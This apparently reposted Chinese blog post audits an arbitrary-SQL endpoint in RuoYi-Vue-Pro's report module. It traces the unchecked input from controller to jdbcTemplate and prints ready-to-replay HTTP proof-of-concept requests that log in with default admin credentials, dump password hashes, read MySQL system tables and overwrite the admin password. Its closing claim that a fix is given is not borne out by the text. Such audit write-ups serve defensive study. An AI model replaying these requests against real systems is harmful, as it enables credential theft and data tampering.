一次SQL注入代码审计实战:从发现到验证的完整过程"

admin 2026-10-20 13:26:53 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image

一次 SQL 注入代码审计实战:从发现到验证的完整过程

原创

Taoyi
Taoyi

知然安全

2026年6月8日 17:29
浙江

在小说阅读器读本章

去阅读

本文记录了一次对若依框架(RuoYi-Vue-Pro最新版)进行代码审计时,发现并验证 SQL 注入漏洞的完整过程。适合有一定 Java 基础的开发者和安全爱好者阅读。

一、前言

SQL 注入作为 OWASP Top 10 的常客,至今仍在各类项目中屡见不鲜。许多人以为\"用了框架就不会有 SQL 注入\",但实际情况往往并非如此。

今天这篇文章,带大家走一遍完整的代码审计流程——从审计工具告警出发,到逆向追踪数据流,再到 POC 验证,最后给出修复思路。

二、审计起点:一个\"中危\"告警

日常使用自动化审计工具扫描代码库时,工具在 yudao-module-report 模块打出了一条告警:

漏洞ID: 35285
漏洞编号:CWE-89
风险等级:中危
漏洞位置:GoViewDataServiceImpl.java:35
漏洞描述:检测到SQL语句中使用了格式化字符串,可能导致SQL注入漏洞

对于这类告警,很多开发者的第一反应是 \"这功能就是用来执行 SQL 的,算什么注入?\" —— 别急,我们往下看。

源码链接:https://github.com/YunaiV/ruoyi-vue-pro/archive/refs/tags/v2026.05(jdk8/11).zip

三、代码走读:数据流追踪

先找到告警指向的代码。

3.1 Sink 点:Service 层

// GoViewDataServiceImpl.java
@Service
@Validated
publicclass GoViewDataServiceImpl implements GoViewDataService {

@Resource
    private JdbcTemplate jdbcTemplate;

@Override
    public GoViewDataRespVO getDataBySQL(String sql){
        // 【告警点】直接执行用户传入的原始 SQL 字符串
        SqlRowSet sqlRowSet = jdbcTemplate.queryForRowSet(sql);

// 解析结果集,构建返回数据...
        SqlRowSetMetaData metaData = sqlRowSet.getMetaData();
        String[] columnNames = metaData.getColumnNames();
        respVO.setDimensions(Arrays.asList(columnNames));
        // ...
        return respVO;
    }
}

注意第 35 行:jdbcTemplate.queryForRowSet(sql) —— 直接把参数 sql 送进了数据库,没有任何过滤、没有任何参数化。

这是一个典型的 Sink 点:危险函数 + 外部可控输入 = 安全风险。

3.2 向上追踪:Controller 层

接着往上追,看 sql 参数从哪来:

// GoViewDataController.java
@RestController
@RequestMapping(\"/report/go-view/data\")
publicclass GoViewDataController {

@Resource
    private GoViewDataService goViewDataService;

@RequestMapping(\"/get-by-sql\")
    @PreAuthorize(\"@ss.hasPermission('report:go-view-data:get-by-sql')\")
    public CommonResultgetDataBySQL(
            @Valid@RequestBody GoViewDataGetBySqlReqVO reqVO){
        returnsuccess(goViewDataService.getDataBySQL(reqVO.getSql()));
    }
}

关键信息:

·接口路径:POST /admin-api/report/go-view/data/get-by-sql

·鉴权:@PreAuthorize 限制,需要 report:go-view-data:get-by-sql 权限

·输入:reqVO.getSql() —— 完全由请求体控制

3.3 输入校验:形同虚设

再看看请求 VO 的校验:

// GoViewDataGetBySqlReqVO.java
@Data
publicclass GoViewDataGetBySqlReqVO {

@Schema(description =\"SQL 语句\", example =\"SELECT \* FROM user\")
    @NotEmpty(message =\"SQL 语句不能为空\")
    privateString sql;
}

只有一个 @NotEmpty —— 只检查了\"不为空\",但没有检查\"是什么\"。

你可以传 SELECT,也可以传 UPDATE、DELETE、DROP……

四、数据流全景

┌──────────────────────┐
│ 用户请求 │
│ {\"sql\": \"任意SQL\"} │
└────────┬─────────────┘
   │
   ▼
┌──────────────────────┐
│ Controller │
│ @PreAuthorize 鉴权 │ ← ✅ 有权限控制
│ @NotEmpty 校验 │ ← ❌ 仅校验非空
│ reqVO.getSql() │ ← 直接取出原始 SQL
└────────┬─────────────┘
   │
   ▼
┌──────────────────────┐
│ Service │
│ jdbcTemplate │ ← ❌ 零过滤,零参数化
│ .queryForRowSet(sql) │
└────────┬─────────────┘
   │
   ▼
┌──────────────────────┐
│ MySQL (root@localhost)│ ← ❌ root 最高权限
│ 执行任意 SQL │
└──────────────────────┘

结论:从用户输入到数据库执行,全程无安全控制。

五、POC 验证

光看代码不够,还得实际验证。以下所有数据包可直接导入 Yakit / Burp Suite 复现。

注意:项目默认未启用 report 模块(pom.xml 中被注释),且默认开启 API 加密(会拦截明文请求)。验证前需做两处改动:

1.取消 pom.xml 中 yudao-module-report 的注释并重新编译

2.在 application-local.yaml 中添加 yudao.api-encrypt.enable: false

Step 0:登录获取 Token

POST /admin-api/system/auth/login HTTP/1.1
Host: localhost:48080
Content-Type: application/json
tenant-id: 1

{\"username\":\"admin\",\"password\":\"admin123\"}

POC-1:正常查询,验证接口可用

POST /admin-api/report/go-view/data/get-by-sql HTTP/1.1
Host: localhost:48080
Content-Type: application/json
Authorization: Bearer
tenant-id: 1

{\"sql\": \"SELECT id, username, nickname FROM system\_users LIMIT 3\"}

正常返回用户列表——接口功能本身是正常的。

POC-2:泄露密码哈希 🔴

POST /admin-api/report/go-view/data/get-by-sql HTTP/1.1
Host: localhost:48080
Content-Type: application/json
Authorization: Bearer
tenant-id: 1

{\"sql\": \"SELECT username, password FROM system\_users LIMIT 2\"}

返回了 admin 和 yudao 两个用户的 bcrypt 密码哈希。

POC-3:跨库读取 MySQL 系统表 🔴

POST /admin-api/report/go-view/data/get-by-sql HTTP/1.1
Host: localhost:48080
Content-Type: application/json
Authorization: Bearer
tenant-id: 1

{\"sql\": \"SELECT user, host FROM mysql.user LIMIT 3\"}

成功读取了 mysql.user 系统表。

POC-4:枚举全库表结构 🔴

POST /admin-api/report/go-view/data/get-by-sql HTTP/1.1
Host: localhost:48080
Content-Type: application/json
Authorization: Bearer
tenant-id: 1

{\"sql\": \"SELECT TABLE\_NAME FROM information\_schema.TABLES WHERE TABLE\_SCHEMA='ruoyi-vue-pro' LIMIT 10\"}

返回数据库所有表名,为精准攻击提供完整情报。

POC-5:数据库系统信息泄露 🔴

POST /admin-api/report/go-view/data/get-by-sql HTTP/1.1
Host: localhost:48080
Content-Type: application/json
Authorization: Bearer
tenant-id: 1

{\"sql\": \"SELECT @@version AS ver, @@datadir AS datadir, USER() AS db\_user FROM DUAL\"}

响应揭示了三个关键信息:

·数据库版本:8.0.12

·数据文件路径:D:\phpstudy\_pro\Extensions\MySQL8.0.12\data\

·当前连接用户:root@localhost(最高权限!)

POC-6/7:DML 语句(UPDATE/DELETE)🔴

{\"sql\": \"UPDATE system\_users SET password = 'hacked' WHERE id = 1\"}

代码层面对 SQL 类型没有任何限制,DML 语句原样传递到数据库。jdbcTemplate.queryForRowSet() 虽然主要用于查询,但底层 Statement.execute() 同样可以执行 UPDATE/DELETE。

六、为什么这个漏洞能存在?

回顾整个数据流,有四层防线全部失守:

防线 预期 实际 评价
输入校验 限制 SQL 类型为 SELECT 仅 @NotEmpty,无类型校验 🔴 失守
Service 层 使用参数化查询 jdbcTemplate.queryForRowSet(sql) 直接拼接 🔴 失守
数据库账户 只读账户,最小权限 root@localhost,全部权限 🔴 失守
连接池配置 禁用多语句 multi-statement-allow: true 🔴 放大危害

这就是典型的 纵深防御缺失——一道防线破了,后面没有更多的墙。

七、关键代码文件索引

文件 角色
yudao-module-report/.../GoViewDataController.java Controller 入口,接收用户 SQL
yudao-module-report/.../GoViewDataGetBySqlReqVO.java 请求 VO,仅校验非空
yudao-module-report/.../GoViewDataServiceImpl.java 漏洞核心:直接执行原始 SQL
yudao-server/.../application-local.yaml 数据源配置(root 账户、multi-statement-allow)

声明:本文仅供安全研究与学习交流使用,请勿利用文中技术进行未授权测试。代码修复方案已在文中给出,欢迎参考与讨论。


一次SQL注入代码审计实战:从发现到验证的完整过程" 网络安全文章

一次SQL注入代码审计实战:从发现到验证的完整过程"

本文记录了针对若依框架RuoYi-Vue-Pro的SQL注入漏洞代码审计全过程。从审计工具告警出发,通过追踪GoViewDataServiceImpl.java中jdbcTemplate直接执行用户输入SQL的数据流,发现Controller层仅做非空校验而缺乏SQL类型过滤。文章提供了多个POC验证漏洞危害,包括泄露密码哈希、跨库读取系统表、执行DML语句等,并分析了纵深防御缺失的四层原因。最后给出修复建议,强调参数化查询和最小权限原则。
HuggingFace漏洞可致RCE攻击,全球AI供应链面临重大风险" 网络安全文章

HuggingFace漏洞可致RCE攻击,全球AI供应链面临重大风险"

HuggingFaceTransformers库爆出关键漏洞CVE-2026-4372,攻击者能通过恶意模型配置文件绕过安全控制实现远程代码执行,影响数亿次下载,可导致凭证窃取与内网横向移动。此事件暴露出AI供应链盲目信任模型文件的严重风险。建议用户立即升级至5.3.0及以上版本,审计历史下载模型,监控异常出站流量,并隔离模型执行环境以有效防范此类供应链攻击。
远程控制软件潜藏“窃密通道”" 网络安全文章

远程控制软件潜藏“窃密通道”"

本文由国家安全部发布,揭示远程控制软件可能被恶意利用作为窃密通道的安全风险。文章警示此类软件若被不法分子控制,可导致用户隐私数据泄露、系统被操控等严重后果。建议用户提高安全意识,谨慎使用远程控制软件,并采取必要防护措施。
评论:0   参与:  0